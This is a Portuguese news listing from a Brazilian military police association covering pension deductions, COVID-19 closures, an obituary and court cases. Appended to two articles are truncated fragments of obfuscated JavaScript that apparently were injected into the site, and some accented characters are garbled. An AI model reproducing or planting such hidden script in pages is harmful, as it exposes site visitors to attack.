quinta-feira, março 28
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ACS vai entrar com ação para suspender desconto do SPS de inativos

ACS vai entrar com ação para suspender desconto do SPS de inativos

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A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) prepara uma ação coletiva para suspender definitivamente o desconto do SPS (Sistema de Proteção Social) da folha dos inativos. Para o jurídico da entidade, a mudança na legislação previdenciária não pode atingir àqueles que já estavam na inatividade antes da entrada em vigência da nova lei, tendo em vista o princípio constitucional do direito adquirido e dá irredutibilidade de salário. A medida tem causado polêmica junto aos militares que estão na reserva remunerada, já que há casos de associados com desconto de quase R$ 600 em seus holerites. A entidade vai, também, acionar o Governo do Estado e a Anermb (Associação Nacional das Entidades Representativas dos Militares Brasileiros) para...
Diretoria prorroga suspensão do atendimento presencial na ACS

Diretoria prorroga suspensão do atendimento presencial na ACS

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A diretoria da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) decidiu prorrogar, até o final desta semana, a suspensão das atividades presenciais na sede da entidade, bem como o atendimento psicológico e as atividades do clube de campo, como forma de conter o avanço da pandemia de coronavírus. O atendimento ao público, que voltaria nesta quarta-feira, deve ser retomado na segunda-feira (06), podendo ser prorrogado novamente caso necessário. O Jurídico já trabalha em caráter home office, pelos advogados em suas respectivas áreas, nos seguintes telefones: (67) 99965-9984 (Edmar), 98488-1463 (Deiwes) e 98101-9558 (Walter). O Administrativo, também em home office, atende pelos telefones (67) 99330-8525, 99927-0142 e 99243-5126; e, o Fina...
Desconto integral da previdência dos militares estaduais começa já no mês de abril

Desconto integral da previdência dos militares estaduais começa já no mês de abril

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O desconto integral da previdência dos militares estaduais, tanto ativos, inativos ou pensionistas, vai começar no mês de abril (no pagamento de maio). Neste mês de março, alguns inativos estranharam o desconto parcial em seus contracheques, já que a nova lei previdenciária passou a valer no dia 15 de março. A nova Previdência prevê desconto de 9,5% para todos os militares. Como explica o presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, esta foi a única forma de manter a paridade e a integralidade para a categoria. “A ACS está buscando meios para reparar a perda dos inativos, já que eles foram os mais prejudicados com essa mudança. Já temos a sensibilidade do Governo para debater medidas afim de m...

INFORME – Regional de Dourados

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NOTA DE PESAR – 1º TEN QAOPM José Aroldo Paiva

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É com pesar que a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) lamenta o falecimento do 1º TEN QAOPM José Aroldo Paiva, de 58 anos. Conforme informações de familiares, ele foi acometido por um ataque cardíaco por volta das 18h desta segunda-feira (23). Atualmente na reserva remunerada, ele atuou na TORA, Polícia Militar Rodoviária, 1º Batalhão, 9º Batalhão, Polícia Militar Ambiental, Casa Militar e na assessoria do Detran. Rogamos a Deus para que conforte familiares e amigos neste momento de dor, e receba nosso companheiro em um bom lugar ao seu lado. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d3...
Para conter avanço do coronavírus, ACS suspende atividades presenciais

Para conter avanço do coronavírus, ACS suspende atividades presenciais

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A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) vai suspender as atividades presenciais na sede da entidade, bem como o atendimento psicológico e as atividades do clube de campo, como forma de conter o avanço da pandemia de coronavírus. Conforme nota da presidência, divulgada hoje (19), o atendimento ao público na sede será suspenso a partir de segunda-feira (23), inicialmente até o dia 31 de março, podendo ser prorrogado. O Jurídico irá trabalhar em caráter home office, pelos advogados em suas respectivas áreas, nos seguintes telefones: (67) 99965-9984 (Edmar), 98488-1463 (Deiwes) e 98101-9558 (Walter). O Administrativo, também em home office, vai atender pelos telefones (67) 99330-8525, 99927-0142 e 99243-5126; e, o Financeiro, pe...

Justiça militar concede perdão judicial a sócio denunciado por disparo de arma de fogo

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A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu o perdão judicial a um sócio que havia sido denunciado por disparo de arma de fogo. A ocorrência tornou-se pública, pois envolveu o Batalhão de Choque, onde a guarnição feriu a tiros o policial militar, após este ter se defendido de um ataque de transeuntes. Durante a sustentação oral, a defesa alegou a tese de legítima defesa putativa, o que legitimaria o soldado a realizar os disparos em direção a um veículo de onde teria partido a agressão. A justiça, então, concedeu o perdão judicial ao policial militar. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38...
ACS vai apresentar proposta de correção e reestruturação para PM e BM

ACS vai apresentar proposta de correção e reestruturação para PM e BM

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Tendo em vista a defasagem salarial dos militares estaduais, que já chega a quase 30% nos últimos seis anos, a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) vai apresentar ao Governo do Estado uma proposta de correção e reestruturação das carreiras para policiais militares e bombeiros. A proposta tem como índice de correção os 23% de defasagem salarial da categoria, além da correção inflacionária do período, caso o Governo for conceder aumento linear para as demais categorias. O percentual poderia ser dividido em três anos, iniciando já em 2020. Já a reestruturação prevê instituição do nível superior para ingresso de novos soldados nas corporações, adicional para quem trabalha na faixa de fronteira, auxílio fardamento no valor de 30%...
Presidente da ACS recebe visita de policiais lotados na prefeitura de Campo Grande

Presidente da ACS recebe visita de policiais lotados na prefeitura de Campo Grande

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O Presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), Cabo Mario Sergio do Couto, recebeu na manhã desta terça-feira (10) a visita dos policiais militares Cb Pm Cassimiro (Cassicred) e Cb Pm Ricardo Prado, ambos lotados e exercendo função de natureza policial militar na prefeitura municipal de Campo Grande, junto ao prefeito desta capital. Na oportunidade foi conversado sobre a atual situação da policia militar do estado de Mato Grosso do Sul, as condições de trabalho, salário, efetivo, cenário político e possibilidades de avanços nas negociações junto ao governo do estado. "É sempre bom receber policiais militares que se engajam na luta pela valorização e elevação da polícia militar no estado, que somam conosco, trazendo ide...

Assessoria Jurídica: Sócio denunciado por lesão corporal leve é absolvido.

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Um policial militar que teve sua defesa realizada pela assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), foi absolvido da acusação de lesão corporal leve. O MPE (Ministério Público Estadual), atrave?s de sua representante legal em exerci?cio nesta Vara da Justic?a Militar, denunciou o policial militar por infrac?a?o ao art. 209, caput (lesa?o corporal leve), do Co?digo Penal Militar, sob a acusac?a?o de que: “...no dia 26 de Marc?o de 2016, durante abordagem policial, o acusado teria ofendido a integridade física da vítima...”. Em alegac?o?es finais, o Ministe?rio Pu?blico aduziu que restaram comprovas a autoria e materialidade do delito, raza?o pela qual pugnou pela condenac?a?o do re?u. A defesa, por sua vez, al...